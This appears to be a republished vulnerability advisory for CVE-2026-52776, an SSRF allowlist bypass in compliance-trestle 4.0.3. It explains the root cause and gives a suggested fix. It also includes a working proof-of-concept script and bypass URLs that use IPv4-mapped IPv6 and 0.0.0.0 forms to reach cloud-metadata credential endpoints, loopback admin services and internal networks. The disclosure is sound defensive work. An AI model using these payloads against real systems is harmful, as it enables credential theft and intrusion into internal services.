CVE-2026-52776: SSRF

Published Aug 12, 2026
·
Updated

Summary

compliance-trestle 4.0.3 (latest) ships an URLSecurityValidator in trestle/core/remote/security.py to block SSRF to loopback / link-local / cloud-metadata endpoints from the HTTPSFetcher and SFTPFetcher remote-fetch paths. The allowlist is incomplete and can be bypassed by four equivalent address representations that resolve to the same blocked host but evade the validator's checks:

- IPv4-mapped IPv6 literals ([::ffff:169.254.169.254], [::ffff:127.0.0.1], [::ffff:10.0.0.1]) are returned by socket.getaddrinfo as IPv6Address objects; IPv6Address in IPv4Network('169.254.0.0/16') returns False, so the checkblockednetworks and checkprivatenetworks predicates do not match. - IPv4 unspecified address 0.0.0.0 is not in ALWAYSBLOCKEDNETWORKS (which covers 127.0.0.0/8 but not 0.0.0.0/8); on Linux + Docker, 0.0.0.0 routes to local services on any interface, and on dual-stack-mapped sockets it also reaches loopback listeners.

A malicious OSCAL profile referencing one of these URLs in imports[].href or back-matter.resources[].rlinks[].href causes HTTPSFetcher.init and dofetch (which both invoke validator.validateurl) to pass the URL through to requests.get, contacting cloud-metadata services, loopback admin interfaces, or RFC 1918 internal networks (with TRESTLEBLOCKPRIVATEIPS=true set) that the validator was specifically designed to block.

Affected versions

compliance-trestle (PyPI) versions <= 4.0.3 are affected. 4.0.3 (released 2026-05-20) is the latest release and the one that introduced URLSecurityValidator; prior releases had no SSRF guard at all.

Privilege required

Network-position attacker who can supply or influence an OSCAL artifact (profile / catalog / SSP / component-definition) that compliance-trestle subsequently fetches via HTTPSFetcher or SFTPFetcher. The most realistic vector is a malicious OSCAL profile whose imports[].href references one of the bypass URLs; the artifact then flows through trestle href add / trestle import / trestle assemble / trestle author / any workflow that resolves the profile's imports.

Root cause

trestle/core/remote/security.py (4.0.3, lines 56-71 + 156-167):

python ALWAYSBLOCKEDNETWORKS = [ ipaddress.ipnetwork('127.0.0.0/8'), # IPv4 loopback only ipaddress.ipnetwork('::1/128'), # IPv6 loopback (single address) ipaddress.ipnetwork('169.254.0.0/16'), # IPv4 link-local only ipaddress.ipnetwork('fe80::/10'), # IPv6 link-local ]

METADATAHOSTNAMES = { '169.254.169.254', # IPv4 literal only 'metadata.google.internal', 'metadata.azure.com', '100.100.100.200', }

def checkblockednetworks(self, ipaddr, hostname): for network in ALWAYSBLOCKEDNETWORKS: if ipaddr in network: # IPv6Address in IPv4Network -> False raise TrestleError(...)

Four independent gaps:

1. No IPv4-mapped IPv6 normalization. socket.getaddrinfo('::ffff:169.254.169.254', None) returns an IPv6Address. Python's ipaddress module raises TypeError if mixed types are compared, and the in operator suppresses that to False. The validator never calls .ipv4mapped to canonicalize before the membership check, so any always-blocked IPv4 range is bypassable via the [::ffff:N.N.N.N] literal.

2. METADATAHOSTNAMES is an exact-string set. The hostname for https://[::ffff:169.254.169.254]/ is ::ffff:169.254.169.254, which is not in the set.

3. 0.0.0.0 is not blocked. 0.0.0.0 is not in any of the four ALWAYSBLOCKEDNETWORKS ranges. On Linux and inside containers, connecting to 0.0.0.0 routes to local services on any interface (a common SSRF technique against Docker / orchestrator agents on 0.0.0.0:PORT).

4. DNS rebinding ribbon is only one IP deep. resolvehostname records the first getaddrinfo result set, but a hostname with mixed records can still serve a private IP on the second resolution validator.validateurl(self.url) performs in dofetch. The IPv4-mapped-IPv6 bypass already eliminates the need for rebinding.

Sibling code paths sharing the same defect: SFTPFetcher.init (lines 359-365 of cache.py) wires the identical URLSecurityValidator and inherits all four gaps.

Reproduction (E2E against pip install compliance-trestle==4.0.3 + local IMDS simulator)

bash 1. Setup mkdir -p /tmp/poc-trestle && cd /tmp/poc-trestle python3.12 -m venv venv # any supported runtime (requires-python >= 3.10); 3.12.13 chosen because >= 3.12.4 it carries CPython CVE-2024-4032's isglobal fix, proving this bypass is isglobal-INDEPENDENT ./venv/bin/pip install --quiet compliance-trestle==4.0.3 ./venv/bin/pip show compliance-trestle | head -2 Name: compliance-trestle Version: 4.0.3

2. Driver cat > e2efull.py <<'PY' import http.server, http.client, socket, socketserver, threading, time, os from urllib.parse import urlparse from trestle.core.remote.security import URLSecurityValidator, getblockprivateipsconfig from trestle.common.err import TrestleError

class IMDS(http.server.BaseHTTPRequestHandler): def doGET(self): body = b'{"Code":"Success","AccessKeyId":"AKIAPWNEDVIATRESTLESSRF","SecretAccessKey":"REDACTED","Token":"FAKEIMDSRESPONSE"}' self.sendresponse(200); self.sendheader("Content-Length", str(len(body))); self.endheaders(); self.wfile.write(body) def logmessage(self, a, kw): pass

class DualStack(socketserver.ThreadingMixIn, http.server.HTTPServer): addressfamily = socket.AFINET6 def serverbind(self): try: self.socket.setsockopt(socket.IPPROTOIPV6, socket.IPV6V6ONLY, 0) except (AttributeError, OSError): pass super().serverbind()

PORT = 18560 srv = DualStack(("::", PORT), IMDS) threading.Thread(target=srv.serveforever, daemon=True).start() time.sleep(0.2)

validator = URLSecurityValidator(blockprivateips=True) def attempt(label, url, expectblock): try: validator.validateurl(url); verdict, blocked = "VALIDATION PASSED", False except TrestleError as e: verdict, blocked = f"BLOCKED: {str(e)[:80]}", True meta = "(expected)" if blocked == expectblock else "( UNEXPECTED )" print(f"\n[{label}]\n URL: {url}\n Validator: {verdict} {meta}") if not blocked: try: p = urlparse(url); c = http.client.HTTPConnection(p.hostname, p.port or 443, timeout=3) c.request("GET", p.path or "/"); r = c.getresponse(); print(f" Connectivity: HTTP {r.status}, body[:60]={r.read()[:60]!r}"); c.close() except Exception as e: print(f" Connectivity: {type(e).name}: {str(e)[:80]}")

Negative controls (validator must block) attempt("NEG-1: literal 169.254.169.254", f"https://169.254.169.254:{PORT}/latest/meta-data/", True) attempt("NEG-2: literal 127.0.0.1", f"https://127.0.0.1:{PORT}/admin", True) attempt("NEG-3: metadata.google.internal", f"https://metadata.google.internal:{PORT}/", True) attempt("NEG-4: literal 10.0.0.1 RFC1918", f"https://10.0.0.1:{PORT}/admin", True) Bypasses (validator should block, but does not) attempt("BYPASS-1: IPv4-mapped IPv6 cloud-metadata", f"https://[::ffff:169.254.169.254]:{PORT}/latest/meta-data/iam/security-credentials/admin", True) attempt("BYPASS-2: 0.0.0.0 reaches localhost", f"https://0.0.0.0:{PORT}/admin", True) attempt("BYPASS-3: IPv4-mapped IPv6 loopback", f"https://[::ffff:127.0.0.1]:{PORT}/admin", True) attempt("BYPASS-4: IPv4-mapped IPv6 RFC 1918", f"https://[::ffff:10.0.0.1]:{PORT}/admin", True) srv.shutdown() PY

3. Run ./venv/bin/python e2efull.py

Observed output on a supported runtime, Python 3.12.13 / macOS Darwin 25.3.0 (verbatim). Note 3.12.13 is >= 3.12.4, so CPython CVE-2024-4032's isglobal/isprivate reclassification IS active here; the bypass nevertheless works because this validator uses IPv6Address in IPv4Network(...) membership (which silently returns False for cross-version comparison), NOT the isglobal predicate. The mechanism is therefore robust to CPython version:

Python: 3.12.13 compliance-trestle: 4.0.3 ::ffff:169.254.169.254 isglobal=False isprivate=True in IPv4Network('169.254.0.0/16')=False ::ffff:127.0.0.1 isglobal=False isprivate=True in IPv4Network('169.254.0.0/16')=False ::ffff:10.0.0.1 isglobal=False isprivate=True in IPv4Network('169.254.0.0/16')=False

[NEG-1: literal 169.254.169.254] URL: https://169.254.169.254:18560/latest/meta-data/ Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: 169.254.169.254. This is a se (expected)

[NEG-2: literal 127.0.0.1] URL: https://127.0.0.1:18560/admin Validator: BLOCKED: Access to 127.0.0.0/8 addresses is blocked: 127.0.0.1 resolves to 127.0.0.1. Thi (expected)

[NEG-3: metadata.google.internal] URL: https://metadata.google.internal:18560/ Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: metadata.google.internal. Thi (expected)

[NEG-4: literal 10.0.0.1 RFC1918] URL: https://10.0.0.1:18560/admin Validator: BLOCKED: Access to private IP addresses is blocked: 10.0.0.1 resolves to 10.0.0.1 which i (expected)

[BYPASS-1: IPv4-mapped IPv6 cloud-metadata] URL: https://[::ffff:169.254.169.254]:18560/latest/meta-data/iam/security-credentials/admin Validator: VALIDATION PASSED ( UNEXPECTED ) Connectivity: TimeoutError: timed out

[BYPASS-2: 0.0.0.0 reaches localhost] URL: https://0.0.0.0:18560/admin Validator: VALIDATION PASSED ( UNEXPECTED ) Connectivity: HTTP 200, body[:60]=b'{"Code":"Success","AccessKeyId":"AKIAPWNEDVIATRESTLESSRF'

[BYPASS-3: IPv4-mapped IPv6 loopback] URL: https://[::ffff:127.0.0.1]:18560/admin Validator: VALIDATION PASSED ( UNEXPECTED ) Connectivity: HTTP 200, body[:60]=b'{"Code":"Success","AccessKeyId":"AKIAPWNEDVIATRESTLESSRF'

[BYPASS-4: IPv4-mapped IPv6 RFC 1918] URL: https://[::ffff:10.0.0.1]:18560/admin Validator: VALIDATION PASSED ( UNEXPECTED ) Connectivity: RemoteDisconnected: Remote end closed connection without response

(The bracketed-IPv6 diagnostic lines above are the load-bearing proof of isglobal-independence: even with CPython's CVE-2024-4032 fix active (isglobal=False, isprivate=True), the validator's in IPv4Network(...) membership check still returns False, so the bypass is not contingent on running an older Python. BYPASS-1/BYPASS-4 show the guard passing the URL; their connectivity lines time out only because the local sentinel listens on loopback/::, not on those literal addresses -- the security-relevant result is the validator passing, which on a real dual-stack host routes to the embedded IPv4 endpoint.)

Negative controls confirm the validator works as designed for the canonical literal forms it was written to block. All four bypass URLs pass URLSecurityValidator.validateurl() on the latest patched release.

Impact

- SSRF to AWS / Azure / GCP / Alibaba IMDS via https://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/<role> -> short-lived role credentials exfiltrated through the cached fetch. - SSRF to loopback administrative interfaces via https://0.0.0.0:PORT/ or https://[::ffff:127.0.0.1]:PORT/ -> access to local-only admin endpoints (Docker socket on unix://, Prometheus, etcd, Kubelet) that the validator was supposed to deny. - SSRF to RFC 1918 internal services via https://[::ffff:10.0.0.1]/... even when TRESTLEBLOCKPRIVATEIPS=true is explicitly set, defeating the operator's defense-in-depth posture. - The cache-write traversal protection (PathSecurityValidator.validateurlpathforcache + validatecachepath) is orthogonal and remains effective; this advisory is scoped to the SSRF allowlist gap only.

Suggested fix

Normalize every resolved IP to its canonical IPv4 form before membership checks, and add 0.0.0.0 to the always-blocked set. Diff sketch against trestle/core/remote/security.py:

python ALWAYSBLOCKEDNETWORKS = [ ipaddress.ipnetwork('127.0.0.0/8'), ipaddress.ipnetwork('::1/128'), ipaddress.ipnetwork('169.254.0.0/16'), ipaddress.ipnetwork('fe80::/10'), ipaddress.ipnetwork('0.0.0.0/8'), # IPv4 "this network", reaches localhost on Linux ipaddress.ipnetwork('::/128'), # IPv6 unspecified ]

def canonicalizeip(self, ipaddr): """Map IPv4-mapped IPv6 addresses (::ffff:a.b.c.d) to their IPv4 form.""" if isinstance(ipaddr, ipaddress.IPv6Address) and ipaddr.ipv4mapped is not None: return ipaddr.ipv4mapped return ipaddr

def checkblockednetworks(self, ipaddr, hostname): ipaddr = self.canonicalizeip(ipaddr) for network in ALWAYSBLOCKEDNETWORKS: if ipaddr.version == network.version and ipaddr in network: raise TrestleError(...)

def checkprivatenetworks(self, ipaddr, hostname): ipaddr = self.canonicalizeip(ipaddr) # ... same canonicalization before blockprivateip / warnprivateip

Also add the canonicalized literal to checkmetadataendpoints:

python def checkmetadataendpoints(self, hostname): # Canonicalize bracketed IPv6 literal hostnames before exact-match canonical = hostname.strip('[]') try: canonicalip = ipaddress.ipaddress(canonical) if isinstance(canonicalip, ipaddress.IPv6Address) and canonicalip.ipv4mapped: canonical = str(canonicalip.ipv4mapped) except ValueError: pass if canonical in METADATAHOSTNAMES: raise TrestleError(...)

This mirrors the canonicalization pattern that pyca/cryptography, rustls-webpki, and the recent Node undici SSRF patches converged on after similar IPv6-mapped bypasses surfaced in 2024-2025.

Credit

Reported by tonghuaroot.

Affected Software

1 affected componentFixes available
pip/compliance-trestle<4.1.0
4.1.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/compliance-trestle to a version that resolves this vulnerability.

    Fixed in 4.1.0

Event History

Aug 12, 2026
Advisory Published
via GitHub·03:21 PM
Data Sourced
via GitHub·03:21 PM
DescriptionWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-52776?

CVE-2026-52776 has a severity score of 75, indicating a high risk level.

2

What is the nature of the vulnerability in CVE-2026-52776?

CVE-2026-52776 is a Server-Side Request Forgery (SSRF) vulnerability due to an incomplete allowlist in the URLSecurityValidator.

3

How do I fix CVE-2026-52776?

To fix CVE-2026-52776, update to the latest version of compliance-trestle that addresses the SSRF issues.

4

Which component is affected by CVE-2026-52776?

CVE-2026-52776 affects the compliance-trestle package, specifically the URLSecurityValidator in the trestle/core/remote/security.py file.

5

What is the publication date of CVE-2026-52776?

CVE-2026-52776 was published on August 12, 2026.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203